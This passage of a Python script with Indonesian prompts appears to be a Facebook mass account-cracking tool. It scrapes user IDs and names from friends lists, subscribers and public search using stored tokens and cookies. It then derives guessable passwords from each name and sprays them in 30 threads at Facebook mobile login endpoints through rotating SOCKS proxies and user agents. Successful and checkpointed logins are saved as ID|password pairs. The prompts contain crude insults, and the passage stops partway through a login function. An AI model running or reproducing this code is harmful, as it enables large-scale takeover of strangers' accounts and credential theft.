  950.         koh2 = ses.get(f'https://graph.facebook.com/{akun}?fields=subscribers.limit(5000)&access_token={token}',cookies={'cookie': cok}).json()
  951.         for pi in koh2['subscribers']['data']:
  952.             try:
  953.                 id.append(pi['id']+'|'+pi['name'])
  954.                 sys.stdout.write(f"\r ╰─  Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
  955.                 time.sleep(0.0002)
  956.             except:continue
  957.         print("\r")
  958.         cetak(panel(f"Berhasil Mengumpulkan {len(id)} Idz",width=90,padding=(0,22),style=f"bold white"))
  959.         setting()
  960.     except requests.exceptions.ConnectionError:
  961.         print(f" ╰─  Koneksi Internet Anda Bermasalah")
  962.         time.sleep(3);exit()
  963.     except (KeyError,IOError):
  964.         print(f" ╰─  Gagal Dump Id, Kemungkinan Akun Private")
  965.         time.sleep(3);exit()
  966.  
  967. #----------------------[ CRACK USERNAME ]----------------------#
  968. def crack_nama():
  969.     nama = []
  970.     custom = [" iqbal"," kami"," siska"," batam"," medan"," new"," old"," jian"," store"," tias"," rio"," lia"," farz"," marvel"," jakarta"," anisha"," juven"," der"," rika"," udin"," rayan"," tina"," hendrik"," fahmi"," baili"," rima"," gadis"," dimas"," abram"," ajis"," vicky"," charlie"," piko"," billa"]
  971.     custom2 = ["galang ","gilang ","gita ","steven ","aulia ","tiyas ","albert ","naura ","naira ","mancung ","dewi ","josen ","johan ","slot ","sharil ","hendrik ","edo ","ridho ","anton ","reval ","abi ","yehezkiel ","hafiz ","daniel ","angun "]
  972.     cetak(panel(f"    Crack Username Satu Nama Yang Ingin Di Crack Setara Dengan 5.000 Username",width=90,padding=(0,2),style=f"bold white"))
  973.     nam = console.input(f' ╰─  Masukan Nama : ').split(",")
  974.     for ser in nam:    
  975.         for belakang in custom:
  976.             id = ser+belakang
  977.             nama.append(id)
  978.         for depan in custom2:
  979.             id = depan+ser
  980.             nama.append(id)
  981.     with tred(max_workers=5) as thread:
  982.         for id in nama:
  983.             thread.submit(cari_nama,f"https://mbasic.facebook.com/public/{id}?/locale2=id_ID")
  984.     setting()
  985.        
  986. def cari_nama(link):
  987.     r = parser(ses.get(str(link)).text,'html.parser')
  988.     for x in r.find_all('td'):
  989.         data = re.findall('\<a\ href\=\"\/(.*?)\">\<div\ class\=\".*?\">\<div\ class\=\".*?\">(.*?)<\/div\>',str(x))
  990.         for uid,nama in data:
  991.             if 'profile.php?' in uid:
  992.                 uid = re.findall('id=(.*)',str(uid))[0]
  993.             elif '<span' in nama:
  994.                 nama = re.findall('(.*?)\<',str(nama))[0]
  995.             bo = uid+'|'+nama
  996.             if bo in id:pass
  997.             else:id.append(bo)
  998.     link = r.find('a',string='Lihat Hasil Selanjutnya').get('href')
  999.     if(link):
  1000.       sys.stdout.write(f"\r ╰─  Mengumpulkan {len(id)} Idz ...");sys.stdout.flush()
  1001.       time.sleep(0.0000003)
  1002.       cari_nama(link)
  1003.     else:
  1004.          print("\r")
  1005.        
  1006. #-----------------[ CRACK FILE ]-----------------#
  1007. def crack_file():
  1008.     try:vin = os.listdir('DUMP')
  1009.     except FileNotFoundError:
  1010.         print(' ╰─  File Tidak Ditemukan ')
  1011.         time.sleep(2)
  1012.         back()
  1013.     if len(vin)==0:
  1014.         print(' ╰─  Kamu Tidak Memiliki File Dump ')
  1015.         time.sleep(2)
  1016.         back()
  1017.     else:
  1018.         cih = 0
  1019.         lol = {}
  1020.         for isi in vin:
  1021.             try:hem = open('DUMP/'+isi,'r').readlines()
  1022.             except:continue
  1023.             cih+=1
  1024.             if cih<100:
  1025.                 nom = ''+str(cih)
  1026.                 lol.update({str(cih):str(isi)})
  1027.                 lol.update({nom:str(isi)})
  1028.                 print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  1029.             else:
  1030.                 lol.update({str(cih):str(isi)})
  1031.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1032.                 print(' ╰─  %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  1033.         geeh = input('\n ╰─  Chouse : ')
  1034.         print('')
  1035.         try:geh = lol[geeh]
  1036.         except KeyError:
  1037.             print(f' ╰─{k}  Pilih Yang Bener Kontol {x}')
  1038.             time.sleep(3)
  1039.             back()
  1040.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  1041.         except:
  1042.             print(' ╰─  File Tidak Ditemukan, Coba Lagi Nanti ')
  1043.             time.sleep(2)
  1044.             back()
  1045.         for xid in lin:
  1046.             id.append(xid)
  1047.         setting()
  1048. #-----------------[ HASIL-CRACK ]-----------------#
  1049. def result():
  1050.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"bold white"))
  1051.     kz = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
  1052.     if kz in ['2','02']:
  1053.         try:vin = os.listdir('CP')
  1054.         except FileNotFoundError:
  1055.             print(' ╰─  File Tidak Di Temukan ')
  1056.             time.sleep(3)
  1057.             back()
  1058.         if len(vin)==0:
  1059.             print(' ╰─  Anda Tidak Memiliki Hasil CP ')
  1060.             time.sleep(4)
  1061.             back()
  1062.         else:
  1063.             cih = 0
  1064.             lol = {}
  1065.             for isi in vin:
  1066.                 try:hem = open('CP/'+isi,'r').readlines()
  1067.                 except:continue
  1068.                 cih+=1
  1069.                 if cih<10:
  1070.                     nom = '0'+str(cih)
  1071.                     lol.update({str(cih):str(isi)})
  1072.                     lol.update({nom:str(isi)})
  1073.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1074.                 else:
  1075.                     lol.update({str(cih):str(isi)})
  1076.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1077.             geeh = input(f'\n{P}{x}{H} ╰─  {x}{P}{x} {P}Select{x} : ')
  1078.             try:geh = lol[geeh]
  1079.             except KeyError:
  1080.                 print(' ╰─  Pilih Yang Bener Kontol ')
  1081.                 exit()
  1082.             try:lin = open('CP/'+geh,'r').read().splitlines()
  1083.             except:
  1084.                 print(' ╰─  File Tidak Di Temukan ')
  1085.                 time.sleep(4)
  1086.                 back()
  1087.             nocp=0
  1088.             for cpku in range(len(lin)):
  1089.                 cpkuni=lin[nocp].split('|')
  1090.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  1091.                 sol().print(mark(cpkuh,style="yellow"))
  1092.                 nocp +=1
  1093.             input('[ Klik Enter ]')
  1094.             back()
  1095.     elif kz in ['1','01']:
  1096.         try:vin = os.listdir('OK')
  1097.         except FileNotFoundError:
  1098.             print(' ╰─  File Tidak Di Temukan ')
  1099.             time.sleep(4)
  1100.             back()
  1101.         if len(vin)==0:
  1102.             print(' ╰─  Anda Tidak Mempunyai File OK ')
  1103.             time.sleep(4)
  1104.             back()
  1105.         else:
  1106.             cih = 0
  1107.             lol = {}
  1108.             for isi in vin:
  1109.                 try:hem = open('OK/'+isi,'r').readlines()
  1110.                 except:continue
  1111.                 cih+=1
  1112.                 if cih<80:
  1113.                     nom = '0'+str(cih)
  1114.                     lol.update({str(cih):str(isi)})
  1115.                     lol.update({nom:str(isi)})
  1116.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1117.                 else:
  1118.                     lol.update({str(cih):str(isi)})
  1119.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  1120.             geeh = input('\n ╰─  Pilih : ')
  1121.             try:geh = lol[geeh]
  1122.             except KeyError:
  1123.                 print(' ╰─  Pilih Yang Bener Kontol ')
  1124.                 exit()
  1125.             try:lin = open('OK/'+geh,'r').read().splitlines()
  1126.             except:
  1127.                 print(' ╰─  File Tidak Di Temukan ')
  1128.                 time.sleep(4)
  1129.                 back()
  1130.             nocp=0
  1131.             for cpku in range(len(lin)):
  1132.                 cpkuni=lin[nocp].split('|')
  1133.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  1134.                 sol().print(mark(cpkuh,style="green"))
  1135.                 print(f'{hh}USER-AGENT : {x}{cpkuni[2]}')
  1136.                 nocp +=1
  1137.             input('[ Klik Enter ]')
  1138.             back()
  1139.     elif kz in ['3','03']:
  1140.         back()
  1141.     else:
  1142.         print(' ╰─  Pilih Yang Bener Kontol ')
  1143.         exit()
  1144. #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
  1145. def brayen_dump():
  1146.     try:
  1147.         token = open('.token.txt','r').read()
  1148.         kukis = open('.cok.txt','r').read()
  1149.     except IOError:
  1150.         exit()
  1151.     cetak(panel('\t            [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
  1152.     pil = input(f' ╰─  Masukan ID Target : ')
  1153.     try:
  1154.         koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  1155.         for pi in koH['friends']['data']:
  1156.             try:id.append(pi['id']+'|'+pi['name'])
  1157.             except:continue
  1158.         print('')
  1159.         print(f' ╰─  Total ID yang Terkumpul : {h}'+str(len(id)))
  1160.         setting()
  1161.     except requests.exceptions.ConnectionError:
  1162.         print(' ╰─  Internet Lu Gak Ada Anjing')
  1163.         exit()
  1164.     except (KeyError,IOError):
  1165.         print(' ╰─  Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  1166.         exit()
  1167. #-------------------[ CRACK-PUBLIK ]----------------#
  1168. def dump_massal():
  1169.     try:
  1170.         token = open('.token.txt','r').read()
  1171.         cok = open('.cok.txt','r').read()
  1172.     except IOError:
  1173.         exit()
  1174.     try:
  1175.         cetak(panel('\t            [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,title=f"[bold green]Crack Massal",style=f"bold white"))
  1176.         jum = int(input(f' ╰─  {P}Mau Berapa Idz Target {x} : '))
  1177.     except ValueError:
  1178.         print(' ╰─  Wrong input ')
  1179.         exit()
  1180.     if jum<1 or jum>80:
  1181.         print(f'{h} ╰─  {x}Pertemanan Tidak Publik  ')
  1182.         exit()
  1183.     ses=requests.Session()
  1184.     yz = 0
  1185.     for met in range(jum):
  1186.         yz+=1
  1187.         kl = input(f' ╰─  {P}Masukan Idz Target Yang Ke '+str(yz)+' : ')
  1188.         uid.append(kl)
  1189.     for userr in uid:
  1190.         try:
  1191.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  1192.             for mi in col['friends']['data']:
  1193.                 try:
  1194.                     iso = (mi['id']+'|'+mi['name'])
  1195.                     if iso in id:pass
  1196.                     else:id.append(iso)
  1197.                 except:continue
  1198.         except (KeyError,IOError):
  1199.             pass
  1200.         except requests.exceptions.ConnectionError:
  1201.             print(' ╰─  Unstable Signal ')
  1202.             exit()
  1203.     try:
  1204.         print(f' ╰─  {P}Total Idz Target Yang Terkumpul{x} : {h}'+str(len(id)))
  1205.         setting()
  1206.     except requests.exceptions.ConnectionError:
  1207.         print(f'{x}')
  1208.         print(' ╰─  Unstable Signal ')
  1209.         back()
  1210.     except (KeyError,IOError):
  1211.         print(f' ╰─  {k} Friendship Not Public {x}')
  1212.         time.sleep(3)
  1213.         back()
  1214. #-------------[ PENGATURAN-IDZ ]---------------#
  1215. def setting():
  1216.     print('')
  1217.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Idz Old [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Idz New [[bold green]Very Recommended[bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Crack Idz Random [[bold green]Very Recommended[bold white]][/]',width=90,title=f"[bold green]Setting Urutan Idz",style=f"bold white"))
  1218.     hu = input(f' ╰─  Pilih Urutan id : ')
  1219.     if hu in ['1','01']:
  1220.         for tua in sorted(id):
  1221.             id2.append(tua)
  1222.  
  1223.     elif hu in ['2','02']:
  1224.         muda=[]
  1225.         for bacot in sorted(id):
  1226.             muda.append(bacot)
  1227.         bcm=len(muda)
  1228.         bcmi=(bcm-1)
  1229.         for xmud in range(bcm):
  1230.             id2.append(muda[bcmi])
  1231.             bcmi -=1
  1232.     elif hu in ['3','03']:
  1233.         for bacot in id:
  1234.             xx = random.randint(0,len(id2))
  1235.             id2.insert(xx,bacot)
  1236.     else:
  1237.         print(' ╰─  Pilih Yang Bener Kontooll ')
  1238.         exit()
  1239.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Metode Mobile V1 [[bold green]Very Recommended[bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Metode Mbasic [[bold green]Recommended[bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Metode B-Api [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]04[/][bold white]][/] [bold white]Metode Mbeta [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]05[/][bold white]][/] [bold white]Metode Async [[bold green]Recommended[bold white]][/]\n[bold white][[bold green]06[/][bold white]][/] [bold white]Metode Reguler [[bold red]Not Recommended[bold white]][/]',width=90,title=f"[bold green]Setting Metode",style=f"bold white"))
  1240.     hc = input(f' ╰─  Pilih Metode : ')
  1241.     if hc in ['1','01']:
  1242.         method.append('mobile')
  1243.     elif hc in ['2','02']:
  1244.         method.append('mbasic')
  1245.     elif hc in ['3','03']:
  1246.         method.append('free')
  1247.     elif hc in ['4','04']:
  1248.         method.append('mobilev2')
  1249.     elif hc in ['5','05']:
  1250.         method.append('async')
  1251.     elif hc in ['6','06']:
  1252.         method.append('reguler')
  1253.     else:
  1254.         method.append('mobile')
  1255.     cetak(panel('''[bold white][[bold green]01[bold white]] [bold white]Nama, Nama123, Nama1234 [[bold green]Recommended[bold white]]
  1256. [bold white][[bold green]02[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 [[bold red]Not Recommended[bold white]]
  1257. [bold white][[bold green]03[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 + Manual [[bold red]Not Recommended[bold white]]''',style='bold white',title='[bold green]Setting Password',width=90))
  1258.     pwplus=input(f' ╰─  {P}Pilih sandi : ')
  1259.     if pwplus in ['03','3']:
  1260.         pwpluss.append('ya')
  1261.         pwku=input(f' ╰─  {P}Sandi : ')
  1262.         pwkuh=pwku.split(',')
  1263.         for xpw in pwkuh:
  1264.             pwnya.append(xpw)
  1265.     else:
  1266.         pwpluss.append('no')
  1267.        
  1268.     cetak(panel(f'[bold white]Apakah Anda Ingin Mengunakan User-Agent Manual Untuk Melakukan Crack Account ? Y/T',width=90,title=f"[bold green]Setting User-Agent",style=f"bold white"))
  1269.     uatambah = input(f' ╰─  Pilih : ')
  1270.     if uatambah in ['y','Ya','ya','Y']:
  1271.         ualuh.append('ya')
  1272.         bzer = input(f' ╰─  Masukan User-Agent : ')
  1273.         ualu.append(bzer)
  1274.     else:
  1275.         ualuh.append('tidak')
  1276.     passwrd()
  1277. #-------------------[ BAGIAN-WORDLIST ]------------#
  1278. def passwrd():
  1279.     global prog,des
  1280.     print('')
  1281.     urut = []
  1282.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=43,title=f"[bold green]OK SAVE IN",style=f"bold white"))
  1283.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=44,title=f"[bold yellow]CP SAVE IN",style=f"bold white"))
  1284.     wa.print(Columns(urut))
  1285.     cetak(panel(f'\t[bold white]On/Off Mode Pesawat Setiap 300 Idz Agar Terhindar Dari Spam Ip',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"bold white"))
  1286.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  1287.     des = prog.add_task('',total=len(id2))
  1288.     with prog:
  1289.         with tred(max_workers=30) as pool:
  1290.             for yuzong in id2:
  1291.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  1292.                 frs = nmf.split(' ')[0]
  1293.                 pwv = []
  1294.                 if len(nmf)<6:
  1295.                     if len(frs)<3:
  1296.                         pass
  1297.                     else:
  1298.                         pwv.append(nmf)
  1299.                         pwv.append(frs+'123')
  1300.                         pwv.append(frs+'1234')
  1301.                 else:
  1302.                     if len(frs)<3:
  1303.                         pwv.append(nmf)
  1304.                     else:
  1305.                         pwv.append(nmf)
  1306.                         pwv.append(frs+'01')
  1307.                         pwv.append(frs+'02')
  1308.                         pwv.append(frs+'03')
  1309.                         pwv.append(frs+'04')
  1310.                         pwv.append(frs+'12')
  1311.                         pwv.append(frs+'321')
  1312.                         pwv.append(frs+'123')
  1313.                         pwv.append(frs+'1234')
  1314.                         pwv.append(frs+'12345')
  1315.                         pwv.append(frs+'123456')
  1316.                 if 'ya' in pwpluss:
  1317.                     for xpwd in pwnya:
  1318.                         pwv.append(xpwd)
  1319.                 else:pass
  1320.                 if 'mobile' in method:
  1321.                     pool.submit(crack,idf,pwv)
  1322.                 elif 'free' in method:
  1323.                     pool.submit(crackfree,idf,pwv)
  1324.                 elif 'mobilev2' in method:
  1325.                     pool.submit(crackmobilev2,idf,pwv)
  1326.                 elif 'async' in method:
  1327.                     pool.submit(crackasync,idf,pwv)
  1328.                 elif 'mbasic' in method:
  1329.                     pool.submit(crackmbasic,idf,pwv)
  1330.                 elif 'reguler' in method:
  1331.                     pool.submit(crackreguler,idf,pwv)
  1332.                 else:
  1333.                     pool.submit(crackmbasic,idf,pwv)
  1334.         print('')
  1335.     print(f'  Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
  1336.     print(f'  [{h}•{x}]{h} OK : {h}%s '%(ok))
  1337.     print(f'{x}  [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
  1338.    
  1339. #--------------------[ METODE MOBILE ]-----------------#
  1340. #--------------------[ METODE MOBILE ]-----------------#
  1341. def crack(idf,pwv):
  1342.     global loop,ok,cp
  1343.     bo = random.choice([m,k,h,b,u,x])
  1344.     ua = random.choice(ugen)
  1345.     ua2 = random.choice(ugen2)
  1346.     ses = requests.Session()
  1347.     prog.update(des,description=f"{h}WHOAMI-DMC{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1348.     prog.advance(des)
  1349.     for pw in pwv:
  1350.         try:
  1351.             if 'ya' in ualuh: ua = ualu[0]
  1352.             nip=random.choice(prox)
  1353.             proxs= {'http': 'socks4://'+nip}
  1354.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1355.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1356.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=113289095462482&kid_directed_site=0&app_id=113289095462482&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  1357.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1358.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1359.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1360.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1361.             if "checkpoint" in po.cookies.get_dict().keys():
  1362.                 tree = Tree(f" ")
  1363.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1364.                 cetak(tree)
  1365.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1366.                 akun.append(idf+'|'+pw)
  1367.                 cp+=1
  1368.                 break
  1369.             elif "c_user" in ses.cookies.get_dict().keys():
  1370.                 ok+=1
  1371.                 coki=po.cookies.get_dict()
  1372.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1373.                 tree = Tree(f"  ")
  1374.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1375.                 cetak(tree)
  1376.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1377.                 cek_apk(session,coki)
  1378.                 break
  1379.                
  1380.             else:
  1381.                 continue
  1382.         except requests.exceptions.ConnectionError:
  1383.             time.sleep(31)
  1384.     loop+=1
  1385. #--------------------[ METODE MBETA ]-----------------#
  1386. def crackmobilev2(idf,pwv):
  1387.     global loop,ok,cp
  1388.     bo = random.choice([m,k,h,b,u,x])
  1389.     ua = random.choice(ugen)
  1390.     ua2 = random.choice(ugen2)
  1391.     ses = requests.Session()
  1392.     prog.update(des,description=f"{h}Mbeta{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1393.     prog.advance(des)
  1394.     for pw in pwv:
  1395.         try:
  1396.             if 'ya' in ualuh: ua = ualu[0]
  1397.             nip=random.choice(prox)
  1398.             proxs= {'http': 'socks4://'+nip}
  1399.             ses.headers.update({'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1400.             p = ses.get('https://m.beta.facebook.com/?locale=id_ID&_rdr')
  1401.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.beta.facebook.com/login/save-device/?login_source=login","flow":"login_no_pin","pass":pw,}
  1402.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1403.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1404.             heade={'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.beta.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.beta.facebook.com/?locale=id_ID&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1405.             po = ses.post('https://m.beta.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1406.             if "checkpoint" in po.cookies.get_dict().keys():
  1407.                 tree = Tree(f" ")
  1408.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1409.                 cetak(tree)
  1410.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1411.                 akun.append(idf+'|'+pw)
  1412.                 cp+=1
  1413.                 break
  1414.             elif "c_user" in ses.cookies.get_dict().keys():
  1415.                 ok+=1
  1416.                 coki=po.cookies.get_dict()
  1417.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1418.                 tree = Tree(f"  ")
  1419.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1420.                 cetak(tree)
  1421.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1422.                 cek_apk(session,coki)
  1423.                 break
  1424.                
  1425.             else:
  1426.                 continue
  1427.         except requests.exceptions.ConnectionError:
  1428.             time.sleep(31)
  1429.     loop+=1
  1430. #------------------[ METHODE MBASIC ]-------------------#
  1431. def crackmbasic(idf,pwv):
  1432.     global loop,ok,cp
  1433.     bo = random.choice([m,k,h,b,u,x])
  1434.     ua = random.choice(ugen)
  1435.     ua2 = random.choice(ugen2)
  1436.     ses = requests.Session()
  1437.     prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1438.     prog.advance(des)
  1439.     for pw in pwv:
  1440.         try:
  1441.             if 'ya' in ualuh: ua = ualu[0]
  1442.             nip=random.choice(prox)
  1443.             proxs= {'http': 'socks5://'+nip}
